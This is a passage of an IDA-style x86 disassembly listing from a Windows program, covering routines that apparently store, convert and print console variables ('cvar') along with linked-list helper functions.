arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_18 = dword ptr 1Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push edi
mov ecx, [esp+8+arg_0]
push eax
add ecx, 1Eh
call sub_401FBE
mov eax, [esp+8+arg_0]
mov edx, [esp+8+arg_C]
push edx
lea ecx, [eax+33h]
call sub_401FBE
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_10]
mov edi, [esp+8+arg_8]
mov [ecx+48h], dl
mov eax, [esp+8+arg_0]
push edi
push eax
mov ecx, esi
call sub_401F32
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_14]
push edi
mov [ecx+4], dl
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_18]
mov [eax+5], ecx
mov ecx, [esp+0Ch+arg_0]
call sub_401FBE
lea edx, [esp+8+arg_0]
lea ecx, [esi+8Eh]
push edx
call sub_401906
sub_40B390 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
retn 1Ch
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B430 proc near ; CODE XREF: sub_401B5Ej
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_40B430
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
mov eax, [esp+54h+arg_C]
push ebp
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esp+64h+var_24]
call sub_401861
mov edi, eax
mov ecx, [esp+60h+arg_8]
mov [esp+60h+var_4], 0
push ecx
lea ecx, [esp+64h+var_3C]
call sub_401861
mov ebp, eax
mov edx, [esp+60h+arg_4]
lea ecx, [esp+60h+var_54]
push edx
mov byte ptr [esp+64h+var_4], 1
call sub_401861
mov ecx, [esp+60h+arg_18]
mov edx, [esp+60h+arg_14]
push ecx
mov ecx, [esp+64h+arg_10]
push edx
mov edx, [esp+68h+arg_0]
push ecx
push edi
push ebp
push eax
push edx
mov ecx, esi
mov byte ptr [esp+7Ch+var_4], 2
call sub_40180C
sub_40B430 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov byte ptr [esp+5Ch], 1
call sub_401226
lea ecx, [esp+24h]
mov byte ptr [esp+5Ch], 0
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+5Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+54h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 54h
retn 1Ch
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B520 proc near ; CODE XREF: sub_4019CEj
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_40153C
add esi, 8Eh
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_401451
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401C71
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jz short loc_40B5A1
mov edi, [esp+10h+arg_0]
loc_40B566: ; CODE XREF: sub_40B520+7Fj
push edi
lea ecx, [esp+14h+var_8]
call sub_401F5A
mov ecx, [eax]
add ecx, 1Eh
call sub_4021AD
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_40B5AB
call sub_40133E
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_401C71
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jnz short loc_40B566
loc_40B5A1: ; CODE XREF: sub_40B520+40j
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_40B5AB: ; CODE XREF: sub_40B520+60j
call sub_401F5A
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_40B520 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B5F0: ; CODE XREF: ___:00401456j
push 0FFFFFFFFh
push offset loc_438BF8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
mov eax, [esp+28h]
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
call sub_401861
mov ecx, [esp+30h]
mov dword ptr [esp+24h], 0
push ecx
push eax
mov ecx, esi
call sub_4019CE
lea ecx, [esp+4]
mov esi, eax
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 24h
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B680 proc near ; CODE XREF: sub_401596j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_4015D7
mov ecx, esi
call sub_4017E4
push eax
nop
call near ptr 77C1CF90h
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B6D1
mov byte ptr [esi+19h], 1
loc_40B6D1: ; CODE XREF: sub_40B680+4Bj
pop esi
retn 8
sub_40B680 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B700 proc near ; CODE XREF: sub_401F32j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
mov ecx, esi
mov eax, [edi+9]
push eax
call sub_4015D7
mov ecx, esi
call sub_4017E4
push eax
nop
call near ptr 77C1CF90h
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B755
mov byte ptr [esi+19h], 1
loc_40B755: ; CODE XREF: sub_40B700+4Fj
mov cl, [edi+4]
mov [esi+4], cl
mov edx, [edi+5]
mov [esi+5], edx
pop edi
pop esi
retn 8
sub_40B700 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B790: ; CODE XREF: ___:00401D43j
fld dword ptr [esp+8]
push esi
mov esi, [esp+8]
sub esp, 8
fstp qword ptr [esp]
push offset aF ; "%f"
push esi
call sub_40102D
mov eax, [esp+1Ch]
add esp, 10h
mov ecx, esi
mov [esi+15h], eax
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
fld dword ptr [esp+10h]
fcomp flt_43E024
mov [esi+1Ah], eax
add esp, 4
mov byte ptr [esi+19h], 0
fnstsw ax
test ah, 1
jnz short loc_40B7E1
mov byte ptr [esi+19h], 1
loc_40B7E1: ; CODE XREF: ___:0040B7DBj
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B810: ; CODE XREF: ___:00401C94j
push ebx
mov bl, [esp+0Ch]
test bl, bl
push esi
jz short loc_40B840
mov esi, [esp+0Ch]
push offset aTrue ; "true"
mov ecx, esi
call sub_4015D7
mov dword ptr [esi+15h], 3F800000h
mov dword ptr [esi+1Ah], 1
mov [esi+19h], bl
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40B840: ; CODE XREF: ___:0040B818j
mov esi, [esp+0Ch]
push offset aFalse ; "false"
mov ecx, esi
call sub_4015D7
xor eax, eax
mov [esi+19h], bl
mov [esi+15h], eax
mov [esi+1Ah], eax
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B880: ; CODE XREF: ___:00401D6Bj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+10h]
push edi
push offset dword_4437F4
push esi
call sub_40102D
fild dword ptr [esp+1Ch]
add esp, 0Ch
cmp edi, 1
mov [esi+1Ah], edi
mov byte ptr [esi+19h], 0
fstp dword ptr [esi+15h]
jl short loc_40B8B0
mov byte ptr [esi+19h], 1
loc_40B8B0: ; CODE XREF: ___:0040B8AAj
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B8D0: ; CODE XREF: ___:loc_401ACDj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_438C30
push eax
mov large fs:0, esp
sub esp, 4Ch
push ebx
push ebp
push esi
mov esi, [esp+68h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BA12
lea ebx, [esi+69h]
mov ecx, ebx
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aCvar ; "(cvar)"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+6Ch]
call sub_40153C
add ebp, 8Eh
lea edx, [esp+10h]
push edx
mov ecx, ebp
xor edi, edi
call sub_401451
mov eax, [eax]
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
mov [esp+70h], eax
call sub_401C71
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jz loc_40BA0B
loc_40B976: ; CODE XREF: ___:0040BA05j
lea ecx, [esp+6Ch]
inc edi
call sub_401F5A
mov ecx, [eax]
add ecx, 33h
call sub_4017E4
push eax
lea ecx, [esp+70h]
call sub_401F5A
mov ecx, [eax]
call sub_4017E4
push eax
lea ecx, [esp+74h]
call sub_401F5A
mov ecx, [eax]
add ecx, 1Eh
call sub_4017E4
push eax
push edi
push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")"
mov ecx, ebx
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 24h
push 5DCh
call near ptr 2820000h
nop
lea ecx, [esp+6Ch]
call sub_40133E
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
call sub_401C71
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jnz loc_40B976
loc_40BA0B: ; CODE XREF: ___:0040B970j
mov al, 1
jmp loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BA12: ; CODE XREF: ___:0040B907j
lea ecx, [ebp+32h]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40BAA5
push offset asc_443600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016AE
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 0
call sub_4019CE
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BB98
mov ecx, edi
call sub_4017E4
push eax
lea ecx, [edi+1Eh]
call sub_4017E4
push eax
push offset aSS_5 ; "%s = \"%s\""
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
jmp loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BAA5: ; CODE XREF: ___:0040BA24j
lea ecx, [ebp+60h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BB98
push offset asc_443600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016AE
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 1
call sub_4019CE
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BB98
push edi
lea ecx, [esp+18h]
call sub_4014C9
mov ebx, 2
push 1
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push ebx
push eax
mov ecx, esi
mov [esp+74h], ebx
call sub_4011EA
push eax
push edi
mov ecx, ebp
mov byte ptr [esp+6Ch], 3
call sub_401F32
lea ecx, [esp+44h]
mov [esp+64h], bl
call sub_401226
lea ecx, [esp+14h]
call sub_4017E4
push eax
mov ecx, edi
call sub_4017E4
push eax
lea ecx, [edi+1Eh]
call sub_4017E4
push eax
push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]"
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 20h
lea ecx, [esp+14h]
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BB98: ; CODE XREF: ___:0040BA60j
; ___:0040BAB7j ...
xor al, al
loc_40BB9A: ; CODE XREF: ___:0040BA0Dj
; ___:0040BAA0j ...
mov ecx, [esp+5Ch]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 58h
retn 4
; ---------------------------------------------------------------------------
db 90h
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BC70 proc near ; CODE XREF: sub_401BF4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_4021CB
sub_40BC70 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BCB0 proc near ; CODE XREF: sub_401555j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C71
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401451
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401FCD
sub_40BCB0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BD20 proc near ; CODE XREF: sub_401451j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_4020F9
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_4014A6
mov eax, esi
pop esi
retn 4
sub_40BD20 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BD60 proc near ; CODE XREF: sub_401C71j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_4014A6
mov eax, esi
pop esi
retn 4
sub_40BD60 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BD90 proc near ; CODE XREF: sub_401906j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401C71
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401C49
sub_40BD90 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BDD0 proc near ; CODE XREF: sub_401BEFj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C71
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401451
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
pop esi
add esp, 0Ch
retn
sub_40BDD0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE20 proc near ; CODE XREF: sub_40153Cj
push esi
mov esi, ecx
call sub_40213A
mov eax, esi
pop esi
retn
sub_40BE20 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE40 proc near ; CODE XREF: sub_401F5Aj
mov eax, [ecx]
push eax
call sub_401839
add esp, 4
retn
sub_40BE40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE60 proc near ; CODE XREF: sub_40133Ej
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4020F9
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_40BE60 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE90 proc near ; CODE XREF: sub_40136Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401CE9
neg al
sbb eax, eax
inc eax
retn 4
sub_40BE90 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BEC0 proc near ; CODE XREF: sub_401C49j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4016A4
mov edi, eax
push edi
call sub_40213F
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_4021CB
sub_40BEC0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_40213F
push edi
mov [eax], ebx
call sub_40213F
mov edi, [eax]
push edi
call sub_40213F
mov ecx, [eax]
push ecx
call sub_4020F9
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401839
add esp, 4
mov ecx, esi
push eax
call sub_401F14
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_4014A6
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF60 proc near ; CODE XREF: sub_40124Ej
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jz short loc_40BFBA
loc_40BF78: ; CODE XREF: sub_40BF60+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401B86
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40106E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jnz short loc_40BF78
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_40BFBA: ; CODE XREF: sub_40BF60+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_40BF60 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BFF0 proc near ; CODE XREF: sub_4021CBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_40155F
sub_40BFF0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_40C005
mov edi, esi
loc_40C005: ; CODE XREF: ___:0040C001j
push esi
call sub_4020F9
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40C01A
mov edi, esi
loc_40C01A: ; CODE XREF: ___:0040C016j
push esi
call sub_40213F
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C040 proc near ; CODE XREF: sub_401FCDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_402059
sub_40C040 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C060 proc near ; CODE XREF: sub_4020F9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_40C060 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C080 proc near ; CODE XREF: sub_401839j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_40C080 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C0A0 proc near ; CODE XREF: sub_40213Aj
mov eax, ecx
retn
sub_40C0A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C0C0 proc near ; CODE XREF: sub_4014A6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40105A
mov eax, esi
pop esi
retn 4
sub_40C0C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C0F0 proc near ; CODE XREF: sub_401CE9j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_40C0F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C120 proc near ; CODE XREF: sub_40106Ej
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401B86
mov ecx, eax
call sub_4016A4
mov esi, eax
push esi
call sub_4020F9
push esi
mov ebx, eax
call sub_40213F
mov ecx, [eax]
push ecx
call sub_4020F9
mov edx, [ebx]
push esi
mov [eax], edx
call sub_40213F
push esi
mov ebx, eax
call sub_4020F9
mov eax, [eax]
push eax
call sub_40213F
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401839
add esp, 1Ch
mov ecx, edi
push eax
call sub_401221
push esi
mov ecx, edi
call sub_401FCD
sub_40C120 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C1E0 proc near ; CODE XREF: sub_40213Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_40C1E0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C200 proc near ; CODE XREF: sub_40155Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_40C200 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C230 proc near ; CODE XREF: sub_402059j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_40C230 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C250 proc near ; CODE XREF: sub_401F14j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4011AE
add esp, 8
retn 8
sub_40C250 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C280 proc near ; CODE XREF: sub_40105Aj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_40C280 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2A0 proc near ; CODE XREF: sub_4016A4j
mov eax, [ecx]
retn
sub_40C2A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2C0 proc near ; CODE XREF: sub_401B86j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40133E
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_40C2C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2F0 proc near ; CODE XREF: sub_401221j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_2
pop ecx
retn 4
sub_40C2F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C310 proc near ; CODE XREF: sub_4011AEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40C32B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40C32B: ; CODE XREF: sub_40C310+11j
retn
sub_40C310 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C360 proc near ; CODE XREF: sub_401BE5j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40C360
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 4
push 0Eh
push 5
push 13h
push 4Fh
push 3
push 3
lea eax, [esp+48h+var_24]
push 4
mov esi, ecx
push eax
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_401681
add esi, 4
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
sub_40C360 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C400 proc near ; CODE XREF: sub_401712j
var_AB4 = dword ptr -0AB4h
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = byte ptr -0A9Ch
var_A98 = byte ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = dword ptr -0A90h
var_A8C = dword ptr -0A8Ch
var_A88 = dword ptr -0A88h
var_A84 = dword ptr -0A84h
var_A78 = byte ptr -0A78h
var_A74 = dword ptr -0A74h
var_A70 = byte ptr -0A70h
var_A6C = byte ptr -0A6Ch
var_A5C = byte ptr -0A5Ch
var_A54 = byte ptr -0A54h
var_A3C = byte ptr -0A3Ch
var_A38 = byte ptr -0A38h
var_A24 = byte ptr -0A24h
var_A1C = dword ptr -0A1Ch
var_A18 = dword ptr -0A18h
var_910 = byte ptr -910h
var_710 = byte ptr -710h
var_510 = byte ptr -510h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
